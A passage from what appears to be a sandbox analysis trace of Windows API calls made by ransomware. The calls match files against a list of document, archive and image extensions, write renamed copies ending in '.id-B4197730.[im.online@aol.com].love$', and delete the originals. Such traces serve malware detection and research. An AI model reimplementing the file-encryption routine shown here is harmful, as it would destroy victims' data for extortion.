lpString2=".xml") returned -1 [0097.051] lstrlenW (lpString=".xlsx") returned 5 [0097.051] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0097.051] lstrlenW (lpString=".ppt") returned 4 [0097.051] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0097.051] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\LocalizedData.xml") returned 44 [0097.051] lstrlenW (lpString=".zip") returned 4 [0097.051] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0097.051] lstrlenW (lpString=".rar") returned 4 [0097.051] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0097.051] lstrlenW (lpString=".bz2") returned 4 [0097.051] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0097.051] lstrlenW (lpString=".7z") returned 3 [0097.051] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0097.051] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\LocalizedData.xml") returned 44 [0097.051] lstrlenW (lpString=".dbf") returned 4 [0097.052] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0097.052] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\LocalizedData.xml") returned 44 [0097.052] lstrlenW (lpString=".1cd") returned 4 [0097.052] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0097.052] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\LocalizedData.xml") returned 44 [0097.052] lstrlenW (lpString=".jpg") returned 4 [0097.052] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0097.052] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\LocalizedData.xml") returned 44 [0097.052] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\LocalizedData.xml") returned 44 [0097.052] lstrlenW (lpString=".doc") returned 4 [0097.052] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0097.052] lstrlenW (lpString=".docx") returned 5 [0097.052] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0097.052] lstrlenW (lpString=".pdf") returned 4 [0097.052] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0097.052] lstrlenW (lpString=".xls") returned 4 [0097.052] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0097.052] lstrlenW (lpString=".xlsx") returned 5 [0097.052] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0097.052] lstrlenW (lpString=".ppt") returned 4 [0097.052] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0097.052] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\LocalizedData.xml") returned 44 [0097.052] lstrlenW (lpString=".zip") returned 4 [0097.052] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0097.052] lstrlenW (lpString=".rar") returned 4 [0097.052] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0097.053] lstrlenW (lpString=".bz2") returned 4 [0097.053] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0097.053] lstrlenW (lpString=".7z") returned 3 [0097.053] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0097.053] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\LocalizedData.xml") returned 44 [0097.053] lstrlenW (lpString=".dbf") returned 4 [0097.053] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0097.053] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\LocalizedData.xml") returned 44 [0097.053] lstrlenW (lpString=".1cd") returned 4 [0097.053] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0097.053] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\LocalizedData.xml") returned 44 [0097.053] lstrlenW (lpString=".jpg") returned 4 [0097.053] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0097.053] lstrcmpiW (lpString1=".rtf", lpString2=".love$") returned 1 [0097.053] lstrlenW (lpString="eula.rtf") returned 8 [0097.053] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1031\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1031\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0097.054] GetFileSizeEx (in: hFile=0x318, lpFileSize=0x335ff14 | out: lpFileSize=0x335ff14*=3419) returned 1 [0097.054] CloseHandle (hObject=0x318) returned 1 [0097.054] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1031\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1031\\eula.rtf")) returned 0x80 [0097.054] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1031\\eula.rtf.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\588bce7c90097ed212\\1031\\eula.rtf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0097.054] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1031\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1031\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0097.054] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0097.054] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0097.054] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1031\\eula.rtf.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\588bce7c90097ed212\\1031\\eula.rtf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0097.055] GetLastError () returned 0x0 [0097.055] ReadFile (in: hFile=0x318, lpBuffer=0x3d35020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d35020*, lpNumberOfBytesRead=0x335fecc*=0xd5b, lpOverlapped=0x0) returned 1 [0097.066] WriteFile (in: hFile=0x338, lpBuffer=0x3d35020*, nNumberOfBytesToWrite=0xd60, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d35020*, lpNumberOfBytesWritten=0x335fc94*=0xd60, lpOverlapped=0x0) returned 1 [0097.067] ReadFile (in: hFile=0x318, lpBuffer=0x3d35020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d35020*, lpNumberOfBytesRead=0x335fecc*=0x0, lpOverlapped=0x0) returned 1 [0097.067] WriteFile (in: hFile=0x338, lpBuffer=0x3d35020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d35020*, lpNumberOfBytesWritten=0x335fc94*=0xe4, lpOverlapped=0x0) returned 1 [0097.067] SetEndOfFile (hFile=0x338) returned 1 [0097.068] CloseHandle (hObject=0x338) returned 1 [0097.069] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0097.069] SetEndOfFile (hFile=0x318) returned 1 [0097.070] CloseHandle (hObject=0x318) returned 1 [0097.070] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1031\\eula.rtf.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x80) returned 1 [0097.070] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1031\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1031\\eula.rtf")) returned 1 [0097.071] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\eula.rtf") returned 35 [0097.071] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\eula.rtf") returned 35 [0097.071] lstrlenW (lpString=".doc") returned 4 [0097.071] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0097.071] lstrlenW (lpString=".docx") returned 5 [0097.071] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0097.071] lstrlenW (lpString=".pdf") returned 4 [0097.071] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0097.071] lstrlenW (lpString=".xls") returned 4 [0097.071] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0097.071] lstrlenW (lpString=".xlsx") returned 5 [0097.071] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0097.071] lstrlenW (lpString=".ppt") returned 4 [0097.071] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0097.071] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\eula.rtf") returned 35 [0097.071] lstrlenW (lpString=".zip") returned 4 [0097.071] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0097.071] lstrlenW (lpString=".rar") returned 4 [0097.071] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0097.071] lstrlenW (lpString=".bz2") returned 4 [0097.071] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0097.071] lstrlenW (lpString=".7z") returned 3 [0097.071] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0097.071] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\eula.rtf") returned 35 [0097.071] lstrlenW (lpString=".dbf") returned 4 [0097.072] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0097.072] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\eula.rtf") returned 35 [0097.072] lstrlenW (lpString=".1cd") returned 4 [0097.072] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0097.072] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\eula.rtf") returned 35 [0097.072] lstrlenW (lpString=".jpg") returned 4 [0097.072] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0097.072] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\eula.rtf") returned 35 [0097.072] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\eula.rtf") returned 35 [0097.072] lstrlenW (lpString=".doc") returned 4 [0097.072] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0097.072] lstrlenW (lpString=".docx") returned 5 [0097.072] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0097.072] lstrlenW (lpString=".pdf") returned 4 [0097.072] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0097.072] lstrlenW (lpString=".xls") returned 4 [0097.072] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0097.072] lstrlenW (lpString=".xlsx") returned 5 [0097.072] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0097.072] lstrlenW (lpString=".ppt") returned 4 [0097.072] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0097.072] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\eula.rtf") returned 35 [0097.072] lstrlenW (lpString=".zip") returned 4 [0097.072] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0097.072] lstrlenW (lpString=".rar") returned 4 [0097.072] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0097.072] lstrlenW (lpString=".bz2") returned 4 [0097.073] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0097.073] lstrlenW (lpString=".7z") returned 3 [0097.073] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0097.073] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\eula.rtf") returned 35 [0097.073] lstrlenW (lpString=".dbf") returned 4 [0097.073] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0097.073] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\eula.rtf") returned 35 [0097.073] lstrlenW (lpString=".1cd") returned 4 [0097.073] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0097.073] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\eula.rtf") returned 35 [0097.073] lstrlenW (lpString=".jpg") returned 4 [0097.073] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0097.073] lstrcmpiW (lpString1=".xml", lpString2=".love$") returned 1 [0097.073] lstrlenW (lpString="LocalizedData.xml") returned 17 [0097.073] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1031\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1031\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0097.073] GetFileSizeEx (in: hFile=0x318, lpFileSize=0x335ff14 | out: lpFileSize=0x335ff14*=82346) returned 1 [0097.073] CloseHandle (hObject=0x318) returned 1 [0097.074] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1031\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1031\\localizeddata.xml")) returned 0x80 [0097.074] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1031\\LocalizedData.xml.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\588bce7c90097ed212\\1031\\localizeddata.xml.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0097.074] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1031\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1031\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0097.074] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0097.074] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0097.074] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1031\\LocalizedData.xml.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\588bce7c90097ed212\\1031\\localizeddata.xml.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0097.074] GetLastError () returned 0x0 [0097.075] ReadFile (in: hFile=0x318, lpBuffer=0x3d35020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d35020*, lpNumberOfBytesRead=0x335fecc*=0x141aa, lpOverlapped=0x0) returned 1 [0097.349] WriteFile (in: hFile=0x338, lpBuffer=0x3d35020*, nNumberOfBytesToWrite=0x141b0, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d35020*, lpNumberOfBytesWritten=0x335fc94*=0x141b0, lpOverlapped=0x0) returned 1 [0097.352] ReadFile (in: hFile=0x318, lpBuffer=0x3d35020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d35020*, lpNumberOfBytesRead=0x335fecc*=0x0, lpOverlapped=0x0) returned 1 [0097.352] WriteFile (in: hFile=0x338, lpBuffer=0x3d35020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d35020*, lpNumberOfBytesWritten=0x335fc94*=0xf6, lpOverlapped=0x0) returned 1 [0097.352] SetEndOfFile (hFile=0x338) returned 1 [0097.352] CloseHandle (hObject=0x338) returned 1 [0097.356] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0097.356] SetEndOfFile (hFile=0x318) returned 1 [0097.357] CloseHandle (hObject=0x318) returned 1 [0097.358] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1031\\LocalizedData.xml.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x80) returned 1 [0097.358] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1031\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1031\\localizeddata.xml")) returned 1 [0097.358] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\LocalizedData.xml") returned 44 [0097.358] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\LocalizedData.xml") returned 44 [0097.358] lstrlenW (lpString=".doc") returned 4 [0097.358] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0097.358] lstrlenW (lpString=".docx") returned 5 [0097.358] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0097.358] lstrlenW (lpString=".pdf") returned 4 [0097.359] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0097.359] lstrlenW (lpString=".xls") returned 4 [0097.359] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0097.359] lstrlenW (lpString=".xlsx") returned 5 [0097.359] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0097.359] lstrlenW (lpString=".ppt") returned 4 [0097.359] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0097.359] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\LocalizedData.xml") returned 44 [0097.359] lstrlenW (lpString=".zip") returned 4 [0097.359] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0097.359] lstrlenW (lpString=".rar") returned 4 [0097.359] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0097.359] lstrlenW (lpString=".bz2") returned 4 [0097.359] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0097.359] lstrlenW (lpString=".7z") returned 3 [0097.359] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0097.359] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\LocalizedData.xml") returned 44 [0097.359] lstrlenW (lpString=".dbf") returned 4 [0097.359] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0097.359] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\LocalizedData.xml") returned 44 [0097.359] lstrlenW (lpString=".1cd") returned 4 [0097.359] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0097.359] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\LocalizedData.xml") returned 44 [0097.359] lstrlenW (lpString=".jpg") returned 4 [0097.359] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0097.359] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\LocalizedData.xml") returned 44 [0097.359] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\LocalizedData.xml") returned 44 [0097.360] lstrlenW (lpString=".doc") returned 4 [0097.360] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0097.360] lstrlenW (lpString=".docx") returned 5 [0097.360] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0097.360] lstrlenW (lpString=".pdf") returned 4 [0097.360] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0097.360] lstrlenW (lpString=".xls") returned 4 [0097.360] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0097.360] lstrlenW (lpString=".xlsx") returned 5 [0097.360] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0097.360] lstrlenW (lpString=".ppt") returned 4 [0097.360] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0097.360] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\LocalizedData.xml") returned 44 [0097.360] lstrlenW (lpString=".zip") returned 4 [0097.360] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0097.360] lstrlenW (lpString=".rar") returned 4 [0097.360] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0097.360] lstrlenW (lpString=".bz2") returned 4 [0097.360] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0097.360] lstrlenW (lpString=".7z") returned 3 [0097.360] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0097.360] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\LocalizedData.xml") returned 44 [0097.360] lstrlenW (lpString=".dbf") returned 4 [0097.360] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0097.360] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\LocalizedData.xml") returned 44 [0097.360] lstrlenW (lpString=".1cd") returned 4 [0097.361] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0097.361] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\LocalizedData.xml") returned 44 [0097.361] lstrlenW (lpString=".jpg") returned 4 [0097.361] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0097.361] Sleep (dwMilliseconds=0x64) [0099.082] Sleep (dwMilliseconds=0x64) [0099.869] Sleep (dwMilliseconds=0x64) [0100.195] lstrcmpiW (lpString1=".xml", lpString2=".love$") returned 1 [0100.195] lstrlenW (lpString="LocalizedData.xml") returned 17 [0100.195] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1036\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1036\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0100.325] GetFileSizeEx (in: hFile=0x354, lpFileSize=0x335ff14 | out: lpFileSize=0x335ff14*=82962) returned 1 [0100.325] CloseHandle (hObject=0x354) returned 1 [0100.325] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1036\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1036\\localizeddata.xml")) returned 0x80 [0100.325] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1036\\LocalizedData.xml.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\588bce7c90097ed212\\1036\\localizeddata.xml.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0100.325] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1036\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1036\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0100.325] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0100.325] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0100.325] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1036\\LocalizedData.xml.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\588bce7c90097ed212\\1036\\localizeddata.xml.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0100.326] GetLastError () returned 0x0 [0100.326] ReadFile (in: hFile=0x354, lpBuffer=0x3d35020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d35020*, lpNumberOfBytesRead=0x335fecc*=0x14412, lpOverlapped=0x0) returned 1 [0100.371] WriteFile (in: hFile=0x318, lpBuffer=0x3d35020*, nNumberOfBytesToWrite=0x14420, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d35020*, lpNumberOfBytesWritten=0x335fc94*=0x14420, lpOverlapped=0x0) returned 1 [0100.375] ReadFile (in: hFile=0x354, lpBuffer=0x3d35020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d35020*, lpNumberOfBytesRead=0x335fecc*=0x0, lpOverlapped=0x0) returned 1 [0100.375] WriteFile (in: hFile=0x318, lpBuffer=0x3d35020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d35020*, lpNumberOfBytesWritten=0x335fc94*=0xf6, lpOverlapped=0x0) returned 1 [0100.375] SetEndOfFile (hFile=0x318) returned 1 [0100.375] CloseHandle (hObject=0x318) returned 1 [0100.379] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0100.379] SetEndOfFile (hFile=0x354) returned 1 [0100.381] CloseHandle (hObject=0x354) returned 1 [0100.381] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1036\\LocalizedData.xml.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x80) returned 1 [0100.381] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1036\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1036\\localizeddata.xml")) returned 1 [0100.381] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\LocalizedData.xml") returned 44 [0100.382] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\LocalizedData.xml") returned 44 [0100.382] lstrlenW (lpString=".doc") returned 4 [0100.382] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0100.382] lstrlenW (lpString=".docx") returned 5 [0100.382] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0100.382] lstrlenW (lpString=".pdf") returned 4 [0100.382] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0100.382] lstrlenW (lpString=".xls") returned 4 [0100.382] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0100.382] lstrlenW (lpString=".xlsx") returned 5 [0100.382] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0100.382] lstrlenW (lpString=".ppt") returned 4 [0100.382] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0100.382] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\LocalizedData.xml") returned 44 [0100.382] lstrlenW (lpString=".zip") returned 4 [0100.382] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0100.382] lstrlenW (lpString=".rar") returned 4 [0100.382] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0100.382] lstrlenW (lpString=".bz2") returned 4 [0100.382] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0100.382] lstrlenW (lpString=".7z") returned 3 [0100.382] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0100.382] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\LocalizedData.xml") returned 44 [0100.382] lstrlenW (lpString=".dbf") returned 4 [0100.382] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0100.382] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\LocalizedData.xml") returned 44 [0100.382] lstrlenW (lpString=".1cd") returned 4 [0100.383] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0100.383] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\LocalizedData.xml") returned 44 [0100.383] lstrlenW (lpString=".jpg") returned 4 [0100.383] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0100.383] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\LocalizedData.xml") returned 44 [0100.383] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\LocalizedData.xml") returned 44 [0100.383] lstrlenW (lpString=".doc") returned 4 [0100.383] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0100.383] lstrlenW (lpString=".docx") returned 5 [0100.383] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0100.383] lstrlenW (lpString=".pdf") returned 4 [0100.383] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0100.383] lstrlenW (lpString=".xls") returned 4 [0100.383] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0100.383] lstrlenW (lpString=".xlsx") returned 5 [0100.383] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0100.383] lstrlenW (lpString=".ppt") returned 4 [0100.383] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0100.383] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\LocalizedData.xml") returned 44 [0100.383] lstrlenW (lpString=".zip") returned 4 [0100.383] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0100.383] lstrlenW (lpString=".rar") returned 4 [0100.383] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0100.383] lstrlenW (lpString=".bz2") returned 4 [0100.383] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0100.384] lstrlenW 